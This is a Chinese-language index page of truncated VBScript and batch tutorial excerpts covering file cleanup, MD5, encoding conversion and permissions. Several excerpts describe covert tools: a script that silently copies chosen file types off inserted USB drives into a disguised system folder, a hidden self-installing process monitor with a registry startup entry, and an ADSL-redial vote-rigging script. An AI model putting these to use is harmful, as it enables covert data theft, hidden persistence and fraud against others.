自动删除超过10天的文件及文件夹的vbs代码

2016年07月27日 112 阅读

复制代码 代码如下:option explicit dim fpath,fso,logfile,fwrite fpath=inputbox （"输入目标文件夹","文件处理器"） logfile="logfile.txt" set fso=createobject（"scripting.filesystemobject"） Set fwrite=fso.opentextfile（logfile,8,true） getfilename fpath fwrit...

VBScript 常用函数总结

2016年07月27日 108 阅读

下面是我总结的VBScript中常用的函数及其用法。 1，GetROProperty 说明：You use the GetROProperty method to retrieve the current value of a test object property from a run-time object in your application. 一般来说，所有的对象都可以使用此方法得到运行时对象的实际值。 语法：object.Ge...

利用WScript.Shell对象隐藏cmd命令行运行框的实现代码

2016年07月27日 111 阅读

1. WScript.Shell（Windows Script Host Runtime Library）是一个对象，对应的文件是C:WINDOWSsystem32wshom.ocx，Wscript.shell是服务器系统会用到的一种组件。shell 就是“壳”的意思，这个对象可以执行操作系统外壳常用的操作，比如运行程序、读写注册表、环境变量等。这个对象通常被用在VB或VBS编程中。 2. 安装WScript.Shell对象：regsvr32 WShom....

常用VBS代码 值得一看

2016年07月27日 97 阅读

从系统开始菜单中删除此链接: 复制代码 代码如下: Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOTCLSID{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}] @=- "InfoTip"=- [HKEY_CLASSES_ROOTCLSID{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}DefaultIcon] @=- [HKEY_CLAS...

进程监控实现代码[vbs+bat]

2016年07月27日 111 阅读

运行后会在%windir%system32目录下生成jk.vbs， 并且自动添加注册表启动项，另外在D:会生成一个隐藏属性的JK.VBS， 3秒间隔监控进程，如果进程中有QQ.exe、iexplore.exe、client.exe、game.exe进程则会自动结束进程。 复制代码 代码如下:@echo off attrib -s -h -a -r d:jk.bat 1>nul 2>nul if exist d:jk.bat del d:jk.b...

VBS 生成不重复随机数代码[0-10]

2016年07月27日 107 阅读

复制代码 代码如下:dim Z（10）,i for i=0 to 10 Z（I）=GetRnd（i-1） WScript.Echo （Z（i）） NEXT Function GetRnd（n） Dim i,X Randomize X=CInt（10*Rnd（） ） For i=0 To n If X=Z（i） Then X=GetRnd（n） Exit For End If Next GetRnd=X End Function ...

vbs 百度小助手

2016年07月27日 103 阅读

运行它直接选择： 1.我要回答;2.歌曲搜索;3,新闻搜索;4.网页搜索;5.贴吧搜索;6.知道搜索;7.图片搜索;8.视频搜索;9;百科搜索; 然后输入需要搜索的内容即可直接自动打开转到指定网址自动进行搜索．复制代码 代码如下:xz=InputBox（"1.我要回答;2.歌曲搜索;3,新闻搜索;" & Chr（13） & "4.网页搜索;5.贴吧搜索;6.知道搜索;" & Chr（13） & "7.图片搜索;8.视频搜索;9;百科搜索;","百度小助手 ...

字符ANSI代码查询工具vbs版

2016年07月27日 110 阅读

复制代码 代码如下:x=InputBox（"请输入字符","提示","Test"） If Len（x）<>0 then For i=1 To Len（x） WScript.echo "字符 [" & Mid（x,i,1） & "] ANSI代码为: " & Asc（Mid（x,i,1）） Next Else MsgBox "请输入英文字符",64,"提示" End if...

VBS MD5加密算法代码

2016年07月27日 115 阅读

复制代码 代码如下:Private Const BITS_TO_A_BYTE = 8 Private Const BYTES_TO_A_WORD = 4 Private Const BITS_TO_A_WORD = 32 Private m_lOnBits（30） Private m_l2Power（30） m_lOnBits（0） = CLng（1） m_lOnBits（1） = CLng（3） m_lOnBits（2） = CLng（7） m_lOnB...

用VBS实现一个小键盘动作CTRL+V粘贴操作与思路分析

2016年07月27日 110 阅读

提示: 1,是每次有跳出窗口时的1.8秒后都要有此动作,并且是只发送了一次该动作,发送完后等待下次的窗口跳出再循环. 2,每次循环中都只是发送了一次CTRL + V后就停,而不是一直发送 看到问题，立即着手编写测试代码，这时候问题出现： 弹出 inputbox 窗口后，VBS处于暂停状态，等待用户输入，点击确定or取消， 所以在它后面的 Wshshell.Sendkeys "^v" 将无法执行， 如果前面弹出 inputbox 窗口后点击确定 or 取消的...

VBS 偏移量解密工具[算法解密]

2016年07月27日 107 阅读

复制代码 代码如下:If wscript.arguments.count=0 Or wscript.arguments.Count>1 then msgbox "请将通过偏移量加密过的 VBS 文件拖放到本脚本上即可[请逐个解密]！",48,"提示" wscript.quit End If For Each fname In wscript.Arguments If Right（fname,3）<> "vbs" Then MsgBox "...

自动复制U盘文件的VBS脚本

2016年07月27日 107 阅读

以下为演示： 一、设置 右键单击，选择编辑 oStr = "txt|jpg|doc" "你要窃取的文件类型,可以自行添加，用“|”隔开 oDistPath = "C:\windows\system\" "保存路径 oFolderName = "Task" "保存文件夹名称 oType = 0 "将保存的文件夹进行伪装 1为task文件夹，2为recycler文件夹，0为不伪装 oOut = 1 "1复制完毕后退出,0复制完毕后不退出，继续循环 二、保存后运...

vbs 自动复制U盘的内容

2016年07月27日 110 阅读

思路很简单，高层的东西没什么技术含量，引用几个函数或方法就行了。开始我用的是批处理（如果你插入U盘的盘符是J，把课件保存于F盘）打开记事本，键入以下内容： 复制代码 代码如下: :cheat ping 127.0.0.1>nul if exist J:*.ppt （copy J:*.ppt F: && exit） else goto cheat 保存为main.bat，本来这个文件就够实现此功能了，但我想不到有什么DOS命令可以隐藏命令提示符界面，...

用vbs实现的利用ADSL拨号变ip刷投票的代码

2016年07月27日 107 阅读

以前写过一个利用ADSL拨号变ip刷流量的vbs，只要把刷新的页面稍微改一下（添加个自动提交的js）就是了，可是怎么找都找不到了，没法重新写。 还有种办法就是vbs直接提交，可是写了半天，怎么也没运行起，以后改好了在贴出来。 写的时候遇到了点问题，就是利用网页的js提交的时候，会跳转跳显示投票成果的页面，会弹出个投票成功的对话框，这会影响下面的打开网页。又没法屏蔽，所以采用了个折衷办法，每次结束浏览器进程，在刷后面的页面。 复制代码 代码如下: Const...

VBS 断网后自动关机30秒后

2016年07月27日 108 阅读

复制代码 代码如下:Dim Wsh,objWMIService,colMonitoredEvents Set Wsh = WScript.CreateObject（"WScript.Shell"） Set objWMIService = GetObject（"winmgmts:. ootwmi"） Set colMonitoredEvents = objWMIService.ExecNotificationQuery（"Select * from MSNd...

写个设置命令的VBS脚本代码

2016年07月27日 116 阅读

复制代码 代码如下: "作者：刘先勇 （Eric Liu） "将以下代码复制并保存为"系统命令.VBS"，并运行安装。 "安装成功后，可通过在程序、文件或文件夹上点右键->发送到->系统命令来设置一个命令，然后在运行中就可以输入该命令打开文件了。 "脚本运行一次后在右键菜单中增加从这里运行CMD的快捷方式，还增加查找目标文件快捷方式 "On Error Resume Next If （lcase（right（wscript.fullname,1...

屏蔽端口的vbs脚本

2016年07月27日 100 阅读

复制代码 代码如下:"On Error Resume Next Const ALLOW_ALL = 0 Port = Array（"4900", "5000", "5100", "5500", "5600", "6000", "7000", "7100", "7200", "7300", "7400","3389","80"） strComputer = "." Set objWMIService = GetObject（"winmgmts:\" & st...

VBS实现GB2312,UTF-8,Unicode,BIG5编码转换工具

2016年07月27日 105 阅读

演示 echo "ABCDE &！@#$ ^<>（） %% abcde 测试！"> "处理前.txt" GB2Ue.vbs "处理前.txt" "处理后.txt" Ue2U8.vbs "处理后.txt" U82GB.vbs "处理后.txt" GB2U8.vbs "处理后.txt" U82Ue.vbs "处理后.txt" Ue2GB.vbs "处理后.txt" @echo 经过6次处理 "处理后.txt" 和 "处理前.txt" 仍旧是相...

QueryCode.vbs 文本文件编码查询工具

2016年07月27日 115 阅读

只要下载此文件后便可以查询了. 下面是详细代码 复制代码 代码如下: "QueryCode.vbs BY: fastslz "支持批量查询，可以放在SendTo扩展应用 set files=WScript.Arguments if files.Count=0 Then MsgBox "请将要查询的文件拖动到这个文件里！ ", vbInformation, "文件编码查询工具 BY: fastslz" end if for i=0 To files.Coun...

使用xcacls.vbs（cacls.exe）修改NTFS权限说明（中文版）第1/2页

2016年07月27日 111 阅读

概要 Microsoft 以 Microsoft Visual Basic 脚本 （Xcacls.vbs） 的形式提供了 Extended Change Access Control List（扩展更改访问控制列表）工具 （Xcacls.exe） 的更新版本。本文分步介绍如何使用 Xcacls.vbs 脚本修改和查看文件或文件夹的 NTFS 文件系统权限。 可以从命令行使用 Xcacls.vbs 设置所有可在 Microsoft Windows 资源管理器...